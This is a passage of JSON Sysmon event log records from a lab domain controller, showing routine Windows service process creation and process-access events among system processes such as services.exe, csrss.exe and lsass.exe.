Corporation","OriginalFileName":"ismserv.exe","CommandLine":"C:\\Windows\\System32\\ismserv.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=39F0EC2CAE7FF38BABDDE2252ACCEA67,SHA256=29BDF4D2040D24E02B830A272D02CF29F19FD4E1A0F54F22BCC76301A0BFD26F,IMPHASH=088F7CD1DAA87B8E05239EDAB00479BB","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 940\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"940","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nTargetProcessId: 2504\r\nTargetImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010320F0200}","TargetProcessId":"2504","TargetImage":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2660\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2660","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.294\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nProcessId: 2760\r\nImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nFileVersion: 10.0.14393.0\r\nDescription: Microsoft.ActiveDirectory.WebServices\r\nProduct: Microsoft (R) Windows (R) Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Microsoft.ActiveDirectory.WebServices.exe\r\nCommandLine: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F8D0C92070E59A059A889D5E269C0DA9,SHA256=D40478A82BB2993F39A3ED6066CD0599BE37FF9A0898636A680926FE145C64D6,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.294","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010460F0200}","Image":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","FileVersion":"10.0.14393.0","Description":"Microsoft.ActiveDirectory.WebServices","Product":"Microsoft (R) Windows (R) Operating System","Company":"Microsoft Corporation","OriginalFileName":"Microsoft.ActiveDirectory.WebServices.exe","CommandLine":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F8D0C92070E59A059A889D5E269C0DA9,SHA256=D40478A82BB2993F39A3ED6066CD0599BE37FF9A0898636A680926FE145C64D6,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 